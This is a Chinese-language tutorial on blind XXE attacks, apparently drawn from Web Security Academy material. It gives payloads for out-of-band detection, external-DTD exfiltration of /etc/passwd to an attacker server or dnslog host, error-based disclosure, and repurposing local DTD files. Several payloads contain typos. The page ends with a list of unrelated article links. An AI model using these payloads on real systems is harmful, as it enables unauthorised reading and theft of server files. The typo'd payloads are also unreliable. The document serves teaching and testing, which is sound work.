0x01 blind XXE漏洞

0x02 使用out-of-band(OAST)技术检测Blind XXE漏洞

2.1 使用参数实体进行绕过

2.2 利用out-of-band获取敏感信息

0x03 利用XML解析错误信息获取敏感信息

0x04 利用本地DTD文件获取敏感信息


0x01 blind XXE漏洞

XML外部实体盲注是指应用程序存在XXE漏洞,但是在响应包中无法得到任何有关外部实体的信息。这就意味着传统的XXE SSRF攻击是无法完成的,所以正常情况下Blind XXE漏洞更难利用。

Blind XXE 常用的两种利用方式

触发out-of-band网络交互,有时会在交互数据中泄露敏感数据。

触发XML 解析错误,通过错误消息获取到敏感数据。

0x02 使用out-of-bandOAST)技术检测Blind XXE漏洞

可以使用我们自己可控的服务器或应用程序通过out-of-band网络交互技术来检测Blind XXE漏洞。例如:

<!DOCTYPE a [<IENTITY xxe SYSTEM "http://c7p3st.dnslog.cn">]><a>&xxe;</a>

2.1 使用参数实体进行绕过

在有些情况下,由于应用程序对输入进行验证等措施,常规的实体注入可能会被阻拦,无法正常获取到信息,此时我们可以通过使用参数实体进行绕过。

​<!DOCTYPE a  [<!ENTITY % xxe SYSTEM "http://c7p3st.dnslog.cn"> %xxe; ]>

2.2 利用out-of-band获取敏感信息

使用out-of-band技术只能证明应用系统存在Blind XXE漏洞,但攻击者终究是为了利用漏洞获取敏感信息。此时可以通过攻击者可控的服务器或者应用程序建立恶意的DTD文件,再在目标服务器解析加载恶意DTD,从而获取敏感信息。

# 构造请求包正常:<!DOCTYPE a [<!ENTITY % xxe SYSTEM "http://vps/xxe.dtd"> %xxe;]># 构造恶意xxe.dtd:<!ENTITY % file SYSTEM "file://etc/passwd"><!ENTITY % extfile SYSTEM "<!ENTITY % exfiltrate SYSTEM 'http://dnslog.cn/?x=%file;'>">%extfile;%exfiltarte;
​

此类技术对于/etc/passwd等文件不太友好,原因在于XML解析器是使用API获取带有恶意DTD文件的URL的,API只能验证出现在URL中的字符,这时使用FTP协议替换HTTP协议会好很多,但有时它可能不太支持换行符等字符,所以这种情况下使用/etc/host来验证漏洞比较合适一点。

0x03 利用XML解析错误信息获取敏感信息

如果应用系统在XML的返回信息中包含错误信息,那么我们可以通过触发XML解析错误,从而获取到应用程序敏感信息。

可以通过以下方式来触发XML解析错误信息,并且错误信息中包含/etc/passwd等应用程序敏感信息。

# 构造xxe.dtd文件<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY  % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;# 构造恶意请求<!DOCTYPE a [<!ENTITY % xxe SYSTEM "http://vps/xxe.dtd"> %xxe; ]>
​

0x04 利用本地DTD文件获取敏感信息

前面几种方式适合外部DTD,对于只能使用DOCTYPE内元素的内部DTD来说是没有作用的,主要原因为那些方式在参数实体中定义了另外的参数实体,根据XML规范,这在外部DTD中是允许的,但在内部DTD中是不允许的。这时候就要思考当我们的out-of-band带外技术被阻拦时,我们无法通过out-of-band获取敏感数据,也无法加载远程服务器中的DTD文件,该如何利用Blind XXE漏洞。

此时,利用解析错误获取敏感信息还是可能的,这取决于XML语言的漏洞:如果一个DTD混合使用内部DTD和外部DTD,内部DTD可以进行重新定义由外部DTD引用的实体,这样就放宽了在另一个参数实体的定义中使用XML参数实体的限制。

这意味着攻击者可以在内部DTD中使用基于错误的XXE技术,前提是他们使用的XML参数实体正在重新定义在外部DTD中声明的实体。当然,如果带外连接被阻止,则无法从远程位置加载外部DTD。相反,它需要是应用服务器本地的外部DTD文件。本质上,攻击涉及调用本地文件系统上碰巧存在的DTD文件,并重新调整其用途,以触发包含敏感数据的解析错误的方式重新定义现有实体。

例如:在应用程序中存在/usr/local/app/schema.dtd,且这个DTD文件定义了一个custom_entity的实体。攻击者可以通过以下方式触发XML解析错误,从而获取到敏感数据。

<!DOCTYPE foo [<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"><!ENTITY % custom_entity '<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;'>%local_dtd;]>
​

如何寻找本地的DTD文件

这种利用方式最重要的还是去应用程序服务器中寻找可以利用的DTD文件。这其实是特别简单的:当应用程序因为XML解析错误返回错误信息时,我们可以通过从内部DTD中加载他们来枚举出本机的DTD文件。

例如:使用GNOME环境的Linux通常会存在/usr/share/yelp/dtd/docbookx.dtd文件,可以通过以下XXE负载来判断此文件是否存在。

<!DOCTYPE XXE [<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">%local_dtd;]>

再找到DTD文件后,可以通过网上去寻找这个DTD文件,并且分析是否可以重定义参数进行利用。

参考资料:

What is a blind XXE attack? Tutorial & Examples | Web Security Academy

Blind XXE漏洞详解相关推荐

  1. XXE漏洞详解(三)——XXE漏洞实际运用

    今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE漏洞详解(三)--XXE漏洞实际运用. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! ...

  2. XXE漏洞详解 一文了解XXE漏洞

    前言 本篇总结归纳XXE漏洞 1.什么是XXE 普通的XML注入 XML外部实体(XML External Entity, XXE) Web应用的脚本代码没有限制XML引入外部实体,从而导致测试者可以 ...

  3. XXE漏洞详解与利用

    XXE:XML 外部实体注入 XXE(XML External Entity,XML 外部实体注入)正是当允许引用外部实体时,通过构造恶意内容,导致读取任意文件.执行系统命令.内网探测与攻击等危害的一 ...

  4. OWASP-TOP10漏洞详解以及防护方案

    OWASP TOP 10 漏洞详解以及防护方案 OWASP介绍 官网:http://www.owasp.org.cn/ OWASP TOP10 指出了 WEB 应用面临最大风险的 10 类问题,是目前 ...

  5. OWASP top 10漏洞详解

    一.写在前边   临近毕业,最近在找实习单位,看到好多招聘要求熟悉owasp top 10 安全漏洞,于是在经过一番查资料,终于有了大致的了解,为了加深印象,特意通过博客记录一下,也希望为有同样需求的 ...

  6. android WebView详解,常见漏洞详解和安全源码(下)

    上篇博客主要分析了 WebView 的详细使用,这篇来分析 WebView 的常见漏洞和使用的坑.  上篇:android WebView详解,常见漏洞详解和安全源码(上)  转载请注明出处:http ...

  7. android WebView详解,常见漏洞详解和安全源码(上)

    这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析.  由于博客内容长度,这次将分为上下两篇,上篇详解 WebView ...

  8. 《密码爆破漏洞详解》——黑客必修的入门操作( 建议收藏 )

    隔壁老张: "狗剩啊, 隔壁xx村的王姐家的女娃好漂亮, 我想盗她qq啊, 你帮我把" 狗剩: "我不会呀" 村里大妈: "那个狗剩啊, 盗个qq号都 ...

  9. Pikachu靶场之文件包含漏洞详解

    Pikachu靶场之文件包含漏洞详解 前言 文件包含漏洞简述 1.漏洞描述 2.漏洞原因 3.漏洞危害 4.如何防御 第一关 File Inclusion(local) 1.尝试读取"隐藏& ...

最新文章

  1. 完全理解python迭代对象_完全理解Python迭代对象、迭代器、生成器
  2. c语言算法竞赛入门经典百度云,《算法竞赛入门经典》CH-2(C语言)
  3. Apache启动过程(PHP_MINIT_FUNCTION的调用)
  4. linux终端帮助,Linux下的帮助命令
  5. 布局中常见的居中问题
  6. [置顶] 自己动手写Web容器之TomJetty之六:动态页面引入
  7. 玩 vmx ( by vision.ai ) 的过程记录
  8. FLASH与ASP.NET通讯[Flash | CS3 | ActionScript | ASP.NET | FluorineFx ]
  9. Ubuntu下The program 'python' can be found in the following packages:
  10. 20200216_re数据处理
  11. linux f95编译器,Fortran 95编译器是否可以编译Fortran 77代码?
  12. linux i3 桌面,Linux安装i3wm平铺式窗口桌面
  13. mstar v56几路hdmi_MSTAR运用及问题汇总_整理
  14. Jpa 注解详解 映射详解 一对多 多对一
  15. STK开发包用法探讨
  16. LG30刷小米系统_小米红米手机安卓9底层如何正确安全升级安卓10版MIUI12开发版...
  17. 对给定的10个国家名,按其字母的顺序输出。C++
  18. 【大数据开发】SparkSQL——Spark对接Hive、Row类、SparkSQL函数、UDF函数(用户自定义函数)、UDAF函数、性能调优、SparkSQL解决数据倾斜
  19. 学术报告系列(八) - Fault-tolerant control of unmanned aerial vehicles
  20. uniapp ios原生插件开发之插件包格式(package.json)

热门文章

  1. 2016 China CADCG 参会总结 -- day2
  2. 随机森林算法训练及调参-附代码
  3. 10 个杀手级的 Python 自动化脚本
  4. 尴尬的数字(C++,数学)
  5. 前端开发基础——HTML5
  6. 列表函数的最小二乘拟合(matlab)
  7. 常用温度传感器的采集和换算方法
  8. 学习成长之路(3)面向对象(一)
  9. P6 | Charge Pump calibration technique (JSSC-2008-02)
  10. Java每日一题 Day_9